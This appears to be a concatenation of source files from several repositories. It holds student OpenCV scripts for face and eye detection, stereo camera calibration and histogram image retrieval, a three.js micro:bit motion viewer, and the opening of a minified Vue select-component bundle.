"Load a Haar cascade from a file if it exists."
for dir in [".", # this directory
"/usr/share/opencv/haarcascades", # Ubuntu Linux
"/opt/local/share/OpenCV/haarcascades", # MacOS+MacPorts
]:
full_fn = os.path.join (dir, fn)
if os.path.exists (full_fn):
return cv2.CascadeClassifier (full_fn)
# We couldn't find the cascade file, so tell the user.
print ("No such file:", fn, file=sys.stderr)
return None
"""
A list with tuples for predefined colours for use when drawing stuff
"""
predefinedColours = [
((200, 100, 100),"blue"),
((0, 255, 0),"green"),
((255, 255, 0),"cyan"),
((0, 255, 255),"yellow"),
((255, 0, 255),"magenta"),
((255, 128, 128),"off blue"),
((128, 255, 128),"off green"),
((128, 128, 255),"off red")
]
colourCounter = 0
def getPredefinedColour():
"""
obtains a colour (in the form of a BGR tuple) from the list of
predefinedColours, so it'll be possible to tell which thing is which
:return: a BGR colour tuple
"""
global colourCounter
yourColour = predefinedColours[colourCounter]
colourCounter += 1
colourCounter %= len(predefinedColours)
return yourColour
def detect (im, face_cascade, eye_cascade, do_value, delay=100):
"Detect a face using Haar cascades, as in Viola-Jones, and the eyes within."
# Create a grey-scale version of the image if necessary, either directly or
# using the value channel of an HSV version; Inas Al-Taie says the latter
# is better.
dims = im.shape
if len (dims) > 2:
if do_value:
hsv = cv2.cvtColor (im, cv2.COLOR_BGR2HSV)
junk, junk, grey = cv2.split (hsv)
else:
grey = cv2.cvtColor (im, cv2.COLOR_BGR2GRAY)
else:
grey = im
"""
image
Matrix of the type CV_8U containing an image where objects are detected.
scaleFactor = 1.1
Parameter specifying how much the image size is reduced at each image scale.
minNeighbors = 3
Parameter specifying how many neighbors each candidate rectangle should have to retain it.
flags = 0
Parameter with the same meaning for an old cascade as in the function
cvHaarDetectObjects. It is not used for a new cascade.
minSize
Minimum possible object size. Objects smaller than that are ignored.
maxSize
Maximum possible object size. Objects larger than that are ignored.
If maxSize == minSize model is evaluated on single scale.
returns:
objects
Vector of rectangles where each rectangle contains the detected object,
the rectangles may be partially outside the original image.
numDetections (if detectMultiScale2 is used)
Vector of detection numbers for the corresponding objects.
An object's number of detections is the number of neighboring positively
classified rectangles that were joined together to form the object.
"""
faces = face_cascade.detectMultiScale (grey, scaleFactor=1.1, minNeighbors=5)
print(len(faces))
"""
55 people in the image.
outcomes with different parameters:
scaleFactor=1.01, minNeighbors=3
61 matches
4 faces missing
8 false positives
scaleFactor = 1.1, minNeighbours=5
42 matches
13 faces missing
0 false positives
caleFactor=1.01, minNeighbors=5
59 matches
4 faces missing
6 false positives
scaleFactor=1.1, minNeighbors=3
47 matches
9 missing
1 false positive
scaleFactor=1.1, minNeighbors=4
45 matches
11 missing
no obvious false positives
scaleFactor=1.05, minNeighbors=4
49 matches
7 missing
no obvious false positives
scaleFactor=1.05, minNeighbors=5
48 matches
7 missing
no obvious false positives
scaleFactor=1.025, minNeighbors=5
52 matches
5 missing
no obvious false positives
scaleFactor=1.0125, minNeighbors=5
54 matches
5 missing
1 obvious false positive
scaleFactor=1.025, minNeighbors=4
52 matches
5 missing
no obvious false positives
scaleFactor=1.025, minNeighbors=3
54 matches
4 missing
1 obvious false positive
"""
"""
common characteristics of faces which couldn't be found
* glasses with shiny lenses
* looking away from camera
* behind someone else
common characteristics of false positives
* some form of dark T shape
* tie/collar
* side of a sleeve
* someone's side hair in front of someone else's shoulder
in front of a white shirt
* sandal with a vertical stripe
"""
# a list of all the known valid eyes
validEyes = []
# and a list of all the pair lines between midpoints of valid eyes
validEyePairLinesAndColours = []
# a list of all the known invalid eyes
invalidEyes = []
# Locate the faces and draw the surrounding rectangles on the images.
# Do the same with the eyes.
for (x, y, w, h) in faces:
print (" face at", x ,y, x+w, y+h)
#faceColour = getPredefinedColour()
cv2.rectangle (im, (x,y), (x+w,y+h), (255,0,0), 2)
#cv2.rectangle(im, (x, y), (x + w, y + h), faceColour, 2)
roi_grey = grey[y:y+h, x:x+w]
roi_color = im[y:y+h, x:x+w]
if eye_cascade is not None:
lowerEyeYBound = (h / 2)
print(lowerEyeYBound)
eyes = eye_cascade.detectMultiScale (roi_grey, scaleFactor= 1.05, minNeighbors=5)
print("found " + str(len(eyes)) + " eyes")
potentiallyValidEyes = []
for (ex, ey, ew, eh) in eyes:
rawX = ex + x
rawY = ey + y
rawEye = ((rawX, rawY), (rawX + ew, rawY + eh))
if ey > lowerEyeYBound:
invalidEyes.append(rawEye)
continue
else:
potentiallyValidEyes.append(rawEye)
if len(potentiallyValidEyes) < 2:
invalidEyes.extend(potentiallyValidEyes)
else:
knownValid = []
for i in range(0, len(potentiallyValidEyes)):
if i in knownValid:
continue
print("i " + str(i))
for j in range((i+1), len(potentiallyValidEyes)):
if j in knownValid:
continue
print("j " + str(j))
e1 = potentiallyValidEyes[i]
e2 = potentiallyValidEyes[j]
# y midpoints for each eye
e1Ymid = (e1[1][1] + e1[0][1])/2
e2Ymid = (e2[1][1] + e2[0][1])/2
# absolute value between the y midpoints
yMidDiff = abs(e1Ymid-e2Ymid)
# also absolute value between the upper/lower edges of eye
upperDiff = abs(e1[0][1] - e2[0][1])
lowerDiff = abs(e1[1][1] - e2[1][1])
yDiff = min(yMidDiff, upperDiff, lowerDiff)
# the yDiff we use is the lowest of the y differences.
if (yDiff < (y/4)):
# if the y difference between the eyes is less
# than a quarter pf the total y size of the face,
# we consider these eyes to be a pair.
# adding these indices to the knownValid list
knownValid.append(i)
knownValid.append(j)
# picking a colour to draw these eyes
theColour, colourName = getPredefinedColour()
print("\t" + colourName + " pair")
# adding the valid eyes and their colours
# to the validEyes list
validEyes.append((e1, theColour))
validEyes.append((e2, theColour))
# printing details about the eyes
print("\teye at", e1)
print("\teye at", e2)
# working out x midpoints as well for each eye
e1Xmid = (e1[1][0] + e1[0][0]) / 2
e2Xmid = (e2[1][0] + e2[0][0]) / 2
# adding a tuple with the two eye midpoints
# along with a colour for the pair of eyes
# to the validEyePairLinesAndColours list
eyePairTuple = (
(int(e1Xmid), int(e1Ymid)),
(int(e2Xmid), int(e2Ymid))
)
print(eyePairTuple)
validEyePairLinesAndColours.append(
(eyePairTuple, theColour)
)
break
if len(knownValid) < len(potentiallyValidEyes):
for i in range(0, len(potentiallyValidEyes)):
if i not in knownValid:
invalidEyes.append(potentiallyValidEyes[i])
# showing all the eye pair lines
if len(validEyePairLinesAndColours) > 0:
for p in validEyePairLinesAndColours:
cv2.line(im, p[0][0],p[0][1], p[1],1)
# showing outlines of all the invalid eyes
if len(invalidEyes) > 0:
for inv in invalidEyes:
cv2.rectangle(im, inv[0],inv[1], (0,0,255), 1)
# showing all the valid eyes
if len(validEyes) > 0:
for v in validEyes:
cv2.rectangle(im, v[0][0], v[0][1], v[1],2)
# Display the result, quitting if the user types "q" or <esc>.
cv2.imshow (sys.argv[0], im)
k = cv2.waitKey (delay)
if k == 27 or k == ord ("q") or k == ord ("Q"): exit (0)
#-------------------------------------------------------------------------------
# Main program.
#-------------------------------------------------------------------------------
# Process the command line.
parser = argparse.ArgumentParser ()
parser.add_argument ("-v", default=False, action="store_true",
help="use the HSV value channel instead of grey-scale")
parser.add_argument ("images", nargs="*", default="")
args = parser.parse_args()
# Ensure we have a list of filenames.
if isinstance (args.images, str):
args.images = [args.images]
# Load the cascades that we shall use for finding faces and eyes.
face_cascade = load_cascade ("haarcascade_frontalface_alt.xml")
#face_cascade = load_cascade("haarcascade_frontalface_default.xml")
#eye_cascade = load_cascade("haarcascade_lefteye_2splits.xml")
#eye_cascade = load_cascade("haarcascade_righteye_2splits.xml")
eye_cascade = load_cascade("haarcascade_eye.xml")
# how to work out which haar cascade is most effective?
# images with known face counts and locations
# have the known face counts and locations noted
# compare the results from the haar cascades with the known/expected outcomes
# If filenames were supplied, we process them; if not, we use live video.
if len (args.images) < 1 or args.images[0] == "":
print ("Using video")
video_capture = cv2.VideoCapture (0)
while video_capture.isOpened ():
ret, im = video_capture.read ()
# cv2.imwrite ("oneface.jpg", im)
detect (im, face_cascade, eye_cascade, args.v)
else:
for imfn in args.images:
if len (args.images) > 1: print (imfn + ":")
im = cv2.imread (imfn)
detect (im, face_cascade, eye_cascade, args.v)
if len (args.images) > 1:
cv2.waitKey (5000)
else:
cv2.waitKey (0)
cv2.destroyAllWindows ()
#-------------------------------------------------------------------------------
# End of face-detect.py
#-------------------------------------------------------------------------------
```
calibrate2.py
```#!/usr/bin/env python3
"Calibrate stereo cameras using POV images."
import sys, os, math, cv2
import numpy as np
# We are looking for 8 horizontal and 7 vertical lines.
objpoints = np.zeros ((8*7,3), np.float32)
objpoints[:,:2] = np.mgrid[0:8,0:7].T.reshape(-1,2)
# Termination criterion.
term_crit = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0)
# Arrays for real-world object points and the corresponding image locations.
points3d = []
points2d = []
# Loop over the calibration images.
for frame in range (0, 30):
im = cv2.imread ("calib-%3.3d.png" % frame)
grey = cv2.cvtColor (im, cv2.COLOR_BGR2GRAY)
# Look for the corners inside the board. Record any that we find for use
# in calibrating the camera.
found, corners = cv2.findChessboardCorners (grey, (8,7), None, 0)
if found:
points3d.append (objpoints)
cv2.cornerSubPix (grey, corners, (11,11), (-1,-1), term_crit)
points2d.append (corners)
# Mark and display the corners.
cv2.drawChessboardCorners (im, (8,7), corners, found)
cv2.imshow ("Corners found", im)
cv2.waitKey (125)
# Calibrate the camera using the points and image locations.
found, cam, D, R, T = cv2.calibrateCamera (points3d, points2d,
grey.shape[::-1], None, None)
# Take the mean of the x and y focal lengths as the overall one, and their
# difference as a (poor) estimate of the error.
fx = cam[0,0]
fy = cam[1,1]
F = (cam[0,0] + cam[1,1]) / 2
Ferr = max (abs (F-fx), abs(F-fy))
print ("Focal length:", F, "+/-", Ferr)
# Z = (f * B) / D
# dist = (focal * baseline) / disparity
# disparity: x'L - x'R
# x': x location - (total x/2)
# y': y location - (total y/2)
#
# images both 640 * 480
# tip of nose (left):
# x: 389 +/- 1
# x' : 389 - 320 = 69 +/- 1
# y: -229±1
# tip of nose (right)
# x: 252±1
# x' : 252 - 320 = -68 +/- 1
# y:-229±1
# both y are equal, no y disparity.
# x disparity: x'L - x'R = 69 + 68 = 137
# rough estimate of camera stuff:
# actual tip of nose at <0, 289, 280>
# cams at (+=75,300,800)
# baseline of 150
# distance from cams approx 520
# 800 (cam Z) - 280 (nose Z) = 520
# approx because cams are in different locations
# disparity
# left transformed x
# 520 = (focal * 150) / 137
# disp * dist = (focal * 150)
# 137 * 520 = 71240
# 71240/150 = 474.93r approx focal length
# **factoring in error of +- 1/640**
# B = (150 +- 0.1)mm
# f = (477.35 +- 1.2)mm
# xl = (69+-1)p
# xr = (-68 +- 1)p
# suppose sensor = 10mm square
# 1 pixel = 10/640mm = 0.015625mm
# xL (1.078125 +- 0.015625mm)
# xR (-1.061250 +- 0.015625mm)
#
# error in Z (dist) = sum of errors in B, F, and disparity
# eZ/Z = (eB/B) + (eF/F) + ((exL + exR)/(xL-xR))
# (0.1/150) + (1.2/477.35) + (0.03125/2.140625) = 0.01777908552...
# allegedly means an error of 1.7mm
# but I got 2.413007691 on my calculator.
# actual focal length:
# 484.65535083893656 +/- 1.3106203765603368
# lecture slides say 477.35
# using this to get actual dist
# (150 * 484) / (69 + 68) = 522.6
print("")
def distChecker(origin, cam):
x = (cam[0] - origin[0]) ** 2
y = (cam[1] - origin[1]) ** 2
z = (cam[2] - origin[2]) ** 2
return math.sqrt(x + y + z)
noseTip = (0,289,280)
leftCam = (-75,300,800)
leftDist = distChecker(noseTip, leftCam)
rightCam = (75,300,800)
rightDist = distChecker(noseTip,rightCam)
meanDist = (leftDist + rightDist)/2
#print("l " + str(leftDist))
#print("r " + str(rightDist))
print("dist from actual coordinates: " + str(meanDist))
# 525.4959562166011 mm
print("")
print("Dist from the focal length and disparity and such")
eBase = 0.1
base = 150
dispPx = 69 + 68
pxSize = 10 # 10mm/pixel
imSize = 640 # 640px
eDisp = (pxSize * 2) / imSize
dispMM = (dispPx * pxSize) / imSize
dist = (F * base)/dispPx
print(dist) # 530.6445447141641
eDist = (Ferr/F) + (eBase/base) + (eDisp/dispMM)
print(eDist) # 0.017969438539985023
print("")
print("distance:", dist, "±", eDist, "mm")
# 530.6445447141641 ± 0.017969438539985023 mm
```
cbir3s
```#!/usr/bin/env python3
"Demonstrate content-based image retrieval using histograms"
import sys, math, cv2, numpy
# The number of bins in a histogram.
NBINS = 64
#------------------------------------------------------------------------------
def compare (h1, h2):
"Work out the correlation between two histograms"
sumx = sumy = sumxx = sumyy = sumxy = 0.0
n = len (h1)
for i in range (0, n):
v1 = float (h1[i])
v2 = float (h2[i])
sumx += v1
sumy += v2
sumxx += v1 * v1
sumxy += v1 * v2
sumyy += v2 * v2
v1 = sumxy - sumx * sumy / n
v2 = math.sqrt((sumxx-sumx*sumx/n) * (sumyy-sumy*sumy/n))
return abs (v1 / v2)
def histogram (im):
"""Determine the histogram of an image -- simple version copied from
lab-01's summarize program."""
MAXGREY = 256
# https://stackoverflow.com/questions/58465783/how-to-set-background-color-on-image-to-white-with-opencv-in-python/58466505#58466505
HSV_MIN = numpy.array([
im[0, 0, 0],
im[0, 0, 1],
im[0, 0, 2]
], numpy.uint8)
HSV_MAX = numpy.array([179, 255, 255], numpy.uint8)
hsvRaw = cv2.cvtColor(im, cv2.COLOR_BGR2HSV)
mask = cv2.inRange(hsvRaw, HSV_MIN, HSV_MAX)
#reverseMask = 255 - mask
blackBG = cv2.bitwise_and(im,im, mask = mask)
maskedIm = blackBG
#cv2.imshow("white bg",maskedIm)
#cv2.waitKey(0)
hsv = cv2.cvtColor(maskedIm, cv2.COLOR_BGR2HSV)
h, s, v = cv2.split(hsv)
hHist = cv2.calcHist([h], [0], None, [256], [0,256])
sHist = cv2.calcHist([s], [0], None, [256], [0,256])
vHist = cv2.calcHist([v], [0], None, [256], [0,256])
hist = numpy.vstack((hHist, sHist, vHist))
assert len(hist) == 256 * 3
#print(hist)
# Return the histogram we have computed.
return hist
#------------------------------------------------------------------------------
# Say hello and initialize things.
if len(sys.argv) < 3:
print ("Usage:", sys.argv[0], "<probe> <test-images>", file=sys.stderr)
sys.exit (1)
probe_file = sys.argv[1]
v_best = 0
f_best = "?"
# Read in the probe image and find its histogram.
im = cv2.imread (probe_file)
probe = histogram (im)
# We now enter the main loop. The basic idea is to load an image, find its
# histogram, then compare that with the histogram of the probe image. We are
# careful to skip the case when the test image is the same as the probe.
for file in sys.argv[2:]:
if file != probe_file:
im = cv2.imread (file)
h = histogram (im)
v = compare (probe, h)
if v > v_best:
v_best = v
f_best = file
#break
# We've finished our work, so say which of the test set best matches the
# probe and exit.
print (f_best)
```
cbir3_2
```#!/usr/bin/env python3
"Demonstrate content-based image retrieval using histograms"
import sys, math, cv2, numpy, os
#import matplotlib.pyplot as plt
# The number of bins in a histogram.
NBINS = 64
#------------------------------------------------------------------------------
def compare (h1, h2):
"Work out the correlation between two histograms"
sumx = sumy = sumxx = sumyy = sumxy = 0.0
n = len (h1)
for i in range (0, n):
v1 = float (h1[i])
v2 = float (h2[i])
sumx += v1
sumy += v2
sumxx += v1 * v1
sumxy += v1 * v2
sumyy += v2 * v2
v1 = sumxy - sumx * sumy / n
v2 = math.sqrt((sumxx-sumx*sumx/n) * (sumyy-sumy*sumy/n))
return abs (v1 / v2)
def histogram3 (im):
"""Determine the histogram of an image,
The returned histogram has histograms for each colour
stacked on each other. """
MAXGREY = 256
# Get the image sizes.
sizes = im.shape
if len (sizes) == 2:
# it's monochrome
ny = sizes (0)
nx = sizes (1)
nc = 1
else:
# it has several channels
ny, nx, nc = sizes
# We shall fill the array hist with the histogram.
hists = [numpy.zeros (MAXGREY, dtype=int) for i in range(0,nc)]
# Work through the image, accumulating the histogram.
for y in range (0, ny):
for x in range (0, nx):
for c in range(0, nc):
v = int (im[y,x,c])
hists[c][v] += 1
#print(hists)
# Return the histogram we have computed.
# this program takes long time to complete
# so I decided to use numpy function instead
# of doing it "manually"
return numpy.concatenate(hists)
#------------------------------------------------------------------------------
# Say hello and initialize things.
if len(sys.argv) < 3:
print ("Usage:", sys.argv[0], "<probe> <test-images>", file=sys.stderr)
sys.exit (1)
probe_file = sys.argv[1]
v_best = 0
f_best = "?"
# Read in the probe image and find its histogram.
im = cv2.imread (probe_file)
probe = histogram3 (im)
# Ensure saved histograms directory is created
saved_hist_dir = "saved_histograms"
if not os.path.isdir(saved_hist_dir):
os.mkdir(saved_hist_dir)
# We now enter the main loop. The basic idea is to load an image, find its
# histogram, then compare that with the histogram of the probe image. We are
# careful to skip the case when the test image is the same as the probe.
for file in sys.argv[2:]:
if file != probe_file:
# Check for previously computed histogram, to speedup whole process.
# Otherwise for each image all histograms are computed again
saved_histogram_fname = f'{saved_hist_dir}/{sys.argv[0]}_{file}'
try:
h = numpy.load(saved_histogram_fname + '.npy')
except IOError:
im = cv2.imread (file)
h = histogram3 (im)
print(len(h))
numpy.save(saved_histogram_fname, h)
v = compare (probe, h)
if v > v_best:
v_best = v
f_best = file
#plt.plot(probe)
#plt.plot([0]*len(probe))
#plt.show()
# We've finished our work, so say which of the test set best matches the
# probe and exit.
print (f_best)
```
calibrate.py
```#!/usr/bin/env python3
"Calibrate stereo cameras using POV images."
import sys, os, math, cv2
import numpy as np
# We are looking for 8 horizontal and 7 vertical lines.
objpoints = np.zeros ((8*7,3), np.float32)
objpoints[:,:2] = np.mgrid[0:8,0:7].T.reshape(-1,2)
# Termination criterion.
term_crit = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0)
# Arrays for real-world object points and the corresponding image locations.
points3d = []
points2d = []
# Loop over the calibration images.
for frame in range (0, 30):
im = cv2.imread ("calib-%3.3d.png" % frame)
grey = cv2.cvtColor (im, cv2.COLOR_BGR2GRAY)
# Look for the corners inside the board. Record any that we find for use
# in calibrating the camera.
found, corners = cv2.findChessboardCorners (grey, (8,7), None, 0)
if found:
points3d.append (objpoints)
cv2.cornerSubPix (grey, corners, (11,11), (-1,-1), term_crit)
points2d.append (corners)
# Mark and display the corners.
cv2.drawChessboardCorners (im, (8,7), corners, found)
cv2.imshow ("Corners found", im)
cv2.waitKey (500)
# Calibrate the camera using the points and image locations.
found, cam, D, R, T = cv2.calibrateCamera (points3d, points2d,
grey.shape[::-1], None, None)
# Take the mean of the x and y focal lengths as the overall one, and their
# difference as a (poor) estimate of the error.
fx = cam[0,0]
fy = cam[1,1]
F = (cam[0,0] + cam[1,1]) / 2
Ferr = max (abs (F-fx), abs(F-fy))
print ("Focal length:", F, "+/-", Ferr)
```
|
11aw/violet.github.io
|
11aw/violet.github.io
README.md
```# violet.github.io```
|
11character/microbit-web-motion-client
|
11character/microbit-web-motion-client
index.js
```import * as THREE from 'three/build/three.module';
import { OrbitControls } from 'three/examples/jsm/controls/OrbitControls';
const width = window.innerWidth;
const height = window.innerHeight;
//---
const renderer = new THREE.WebGLRenderer({alpha: true, antialias: true});
renderer.setSize(width, height);
document.body.appendChild(renderer.domElement);
//---
const scene = new THREE.Scene();
//---
const camera = new THREE.PerspectiveCamera(75, width / height, 0.1, 5000);
camera.position.set(0, 200, 200);
//---
const obControls = new OrbitControls(camera, renderer.domElement);
//---
const light1 = new THREE.DirectionalLight(0xffffff, 0.5);
light1.position.set(1, 1, 1);
scene.add(light1);
//---
const light2 = new THREE.AmbientLight(0xffffff, 0.5);
scene.add(light2);
//---
drawGrid(scene);
//---
const box = drawObject(scene);
function animate() {
requestAnimationFrame(animate);
renderer.render(scene, camera);
}
animate();
function drawGrid(scene) {
const grid = new THREE.GridHelper(1000, 20);
scene.add(grid);
return grid;
}
function drawObject(scene) {
const group = new THREE.Group();
const g1 = new THREE.BoxGeometry(20, 5, 200);
const m1 = new THREE.MeshPhongMaterial({color: 0xff0000});
const mesh1 = new THREE.Mesh(g1, m1);
mesh1.position.setY(2.5);
const g2 = new THREE.ConeGeometry(100, 20, 3);
const m2 = new THREE.MeshPhongMaterial({color: 0x0000ff});
const mesh2 = new THREE.Mesh(g2, m2);
mesh2.rotation.z = Math.PI;
mesh2.position.setY(-10);
group.add(mesh1);
group.add(mesh2);
scene.add(group);
return group;
}
//==============================================================================================
// 웹소켓 전역 객체 생성
const ws = new WebSocket("ws://localhost:3000");
// 연결이 수립되면 서버에 메시지를 전송한다
ws.onopen = function(evt) {
console.log('web socket open');
}
// 서버로 부터 메시지를 수신한다
const radian = Math.PI / 180;
ws.onmessage = function(evt) {
const arr = evt.data.split(',');
const rX = radian * parseInt(arr[0], 10);
const rZ = radian * parseInt(arr[1], 10);
// const gX = parseInt(arr[2], 10) / 100;
// const gY = parseInt(arr[3], 10) / 100;
// const gZ = parseInt(arr[4], 10) / 100;
box.rotation.set(rX, 0, -rZ);
// box.position.set(gX, gY, gZ);
}
// 오류.
ws.onerror = function(evt) {
console.error("error : " + evt.data);
}```
|
11kashifali/vue-search-select
|
11kashifali/vue-search-select
vue-search-select.min.js
```!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.VueSearchSelect=e():t.VueSearchSelect=e()}(this,function(){return function(t){function e(i){if(o[i])return o[i].exports;var a=o[i]={exports:{},id:i,loaded:!1};return t[i].call(a.exports,a,a.exports,e),a.loaded=!0,a.exports}var o={};return e.m=t,e.c=o,e.p="./",e(0)}([function(t,e,o){"use strict";function i(t){return t&&t.__esModule?t:{"default":t}}Object.defineProperty(e,"__esModule",{value:!0}),e.ModelListSelect=e.ModelSelect=e.MultiListSelect=e.ListSelect=e.MultiSelect=e.BasicSelect=void 0;var a=o(44),n=i(a),d=o(98),r=i(d),A=o(100),u=i(A),l=o(46),p=i(l),c=o(45),s=i(c),m=o(99),b=i(m);e.BasicSelect=n["default"],e.MultiSelect=p["default"],e.ListSelect=r["default"],e.MultiListSelect=u["default"],e.ModelSelect=s["default"],e.ModelListSelect=b["default"]},function(t,e){var o=t.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=o)},function(t,e){var o={}.hasOwnProperty;t.exports=function(t,e){return o.call(t,e)}},function(t,e,o){var i=o(69),a=o(20);t.exports=function(t){return i(a(t))}},function(t,e){t.exports=function(){var t=[];return t.toString=function(){for(var t=[],e=0;e<this.length;e++){var o=this[e];o[2]?t.push("@media "+o[2]+"{"+o[1]+"}"):t.push(o[1])}return t.join("")},t.i=function(e,o){"string"==typeof e&&(e=[[null,e,""]]);for(var i={},a=0;a<this.length;a++){var n=this[a][0];"number"==typeof n&&(i[n]=!0)}for(a=0;a<e.length;a++){var d=e[a];"number"==typeof d[0]&&i[d[0]]||(o&&!d[2]?d[2]=o:o&&(d[2]="("+d[2]+") and ("+o+")"),t.push(d))}},t}},function(t,e,o){function i(t,e){for(var o=0;o<t.length;o++){var i=t[o],a=p[i.id];if(a){a.refs++;for(var n=0;n<a.parts.length;n++)a.parts[n](i.parts[n]);for(;n<i.parts.length;n++)a.parts.push(A(i.parts[n],e))}else{for(var d=[],n=0;n<i.parts.length;n++)d.push(A(i.parts[n],e));p[i.id]={id:i.id,refs:1,parts:d}}}}function a(t){for(var e=[],o={},i=0;i<t.length;i++){var a=t[i],n=a[0],d=a[1],r=a[2],A=a[3],u={css:d,media:r,sourceMap:A};o[n]?o[n].parts.push(u):e.push(o[n]={id:n,parts:[u]})}return e}function n(t,e){var o=m(),i=v[v.length-1];if("top"===t.insertAt)i?i.nextSibling?o.insertBefore(e,i.nextSibling):o.appendChild(e):o.insertBefore(e,o.firstChild),v.push(e);else{if("bottom"!==t.insertAt)throw new Error("Invalid value for parameter 'insertAt'. Must be 'top' or 'bottom'.");o.appendChild(e)}}function d(t){t.parentNode.removeChild(t);var e=v.indexOf(t);e>=0&&v.splice(e,1)}function r(t){var e=document.createElement("style");return e.type="text/css",n(t,e),e}function A(t,e){var o,i,a;if(e.singleton){var n=f++;o=b||(b=r(e)),i=u.bind(null,o,n,!1),a=u.bind(null,o,n,!0)}else o=r(e),i=l.bind(null,o),a=function(){d(o)};return i(t),function(e){if(e){if(e.css===t.css&&e.media===t.media&&e.sourceMap===t.sourceMap)return;i(t=e)}else a()}}function u(t,e,o,i){var a=o?"":i.css;if(t.styleSheet)t.styleSheet.cssText=w(e,a);else{var n=document.createTextNode(a),d=t.childNodes;d[e]&&t.removeChild(d[e]),d.length?t.insertBefore(n,d[e]):t.appendChild(n)}}function l(t,e){var o=e.css,i=e.media,a=e.sourceMap;if(i&&t.setAttribute("media",i),a&&(o+="\n/*# sourceURL="+a.sources[0]+" */",o+="\n/*# sourceMappingURL=data:application/json;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(a))))+" */"),t.styleSheet)t.styleSheet.cssText=o;else{for(;t.firstChild;)t.removeChild(t.firstChild);t.appendChild(document.createTextNode(o))}}var p={},c=function(t){var e;return function(){return"undefined"==typeof e&&(e=t.apply(this,arguments)),e}},s=c(function(){return/msie [6-9]\b/.test(window.navigator.userAgent.toLowerCase())}),m=c(function(){return document.head||document.getElementsByTagName("head")[0]}),b=null,f=0,v=[];t.exports=function(t,e){e=e||{},"undefined"==typeof e.singleton&&(e.singleton=s()),"undefined"==typeof e.insertAt&&(e.insertAt="bottom");var o=a(t);return i(o,e),function(t){for(var n=[],d=0;d<o.length;d++){var r=o[d],A=p[r.id];A.refs--,n.push(A)}if(t){var u=a(t);i(u,e)}for(var d=0;d<n.length;d++){var A=n[d];if(0===A.refs){for(var l=0;l<A.parts.length;l++)A.parts[l]();delete p[A.id]}}}};var w=function(){var t=[];return function(e,o){return t[e]=o,t.filter(Boolean).join("\n")}}()},function(t,e,o){"use strict";function i(t){return t&&t.__esModule?t:{"default":t}}Object.defineProperty(e,"__esModule",{value:!0}),e.optionAwareMixin=e.commonMixin=e.baseMixin=void 0;var a=o(55),n=i(a),d=o(54),r=i(d),A=o(56),u=i(A);e.baseMixin=r["default"],e.commonMixin=n["default"],e.optionAwareMixin=u["default"]},function(t,e,o){t.exports=!o(12)(function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})},function(t,e,o){var i=o(9),a=o(16);t.exports=o(7)?function(t,e,o){return i.f(t,e,a(1,o))}:function(t,e,o){return t[e]=o,t}},function(t,e,o){var i=o(14),a=o(36),n=o(30),d=Object.defineProperty;e.f=o(7)?Object.defineProperty:function(t,e,o){if(i(t),e=n(e,!0),i(o),a)try{return d(t,e,o)}catch(r){}if("get"in o||"set"in o)throw TypeError("Accessors not supported!");return"value"in o&&(t[e]=o.value),t}},function(t,e,o){var i=o(28)("wks"),a=o(17),n=o(1).Symbol,d="function"==typeof n,r=t.exports=function(t){return i[t]||(i[t]=d&&n[t]||(d?n:a)("Symbol."+t))};r.store=i},function(t,e){var o=t.exports={version:"2.4.0"};"number"==typeof __e&&(__e=o)},function(t,e){t.exports=function(t){try{return!!t()}catch(e){return!0}}},function(t,e,o){var i=o(41),a=o(21);t.exports=Object.keys||function(t){return i(t,a)}},function(t,e,o){var i=o(15);t.exports=function(t){if(!i(t))throw TypeError(t+" is not an object!");return t}},function(t,e){t.exports=function(t){return"object"==typeof t?null!==t:"function"==typeof t}},function(t,e){t.exports=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}}},function(t,e){var o=0,i=Math.random();t.exports=function(t){return"Symbol(".concat(void 0===t?"":t,")_",(++o+i).toString(36))}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e["default"]={openOptions:function(t){t.$refs.input.focus(),t.showMenu=!0,t.mousedownState=!1},blurInput:function(t){t.mousedownState||(t.searchText="",t.closeOptions())},closeOptions:function(t){t.showMenu=!1},prevItem:function(t){var e=t.pointer-1,o=t.$el.offsetHeight*e;e>=0&&(t.pointer=e),t.$refs.menu.scrollTop=o},nextItem:function(t){var e=t.pointer+1,o=t.$el.offsetHeight*e;e<=t.filteredOptions.length-1&&(t.pointer=e);var i=t.$refs.menu.offsetHeight,a=Math.ceil((t.$refs.menu.scrollTop+t.$el.offsetHeight)/i),n=Math.ceil(o/i);a!==n&&(t.$refs.menu.scrollTop=(n-1)*t.$refs.menu.offsetHeight)},enterItem:function(t){var e=t.filteredOptions[t.pointer];e&&t.selectItem(e)},pointerSet:function(t,e){t.pointer=e},pointerAdjust:function(t){t.pointer>=t.filteredOptions.length-1&&(t.pointer=t.filteredOptions.length?t.filteredOptions.length-1:0)},mousedownItem:function(t){t.mousedownState=!0}}},function(t,e,o){t.exports={"default":o(60),__esModule:!0}},function(t,e){t.exports=function(t){if(void 0==t)throw TypeError("Can't call method on "+t);return t}},function(t,e){t.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},function(t,e,o){var i=o(1),a=o(11),n=o(66),d=o(8),r="prototype",A=function(t,e,o){var u,l,p,c=t&A.F,s=t&A.G,m=t&A.S,b=t&A.P,f=t&A.B,v=t&A.W,w=s?a:a[e]||(a[e]={}),g=w[r],h=s?i:m?i[e]:(i[e]||{})[r];s&&(o=e);for(u in o)l=!c&&h&&void 0!==h[u],l&&u in w||(p=l?h[u]:o[u],w[u]=s&&"function"!=typeof h[u]?o[u]:f&&l?n(p,i):v&&h[u]==p?function(t){var e=function(e,o,i){if(this instanceof t){switch(arguments.length){case 0:return new t;case 1:return new t(e);case 2:return new t(e,o)}return new t(e,o,i)}return t.apply(this,arguments)};return e[r]=t[r],e}(p):b&&"function"==typeof 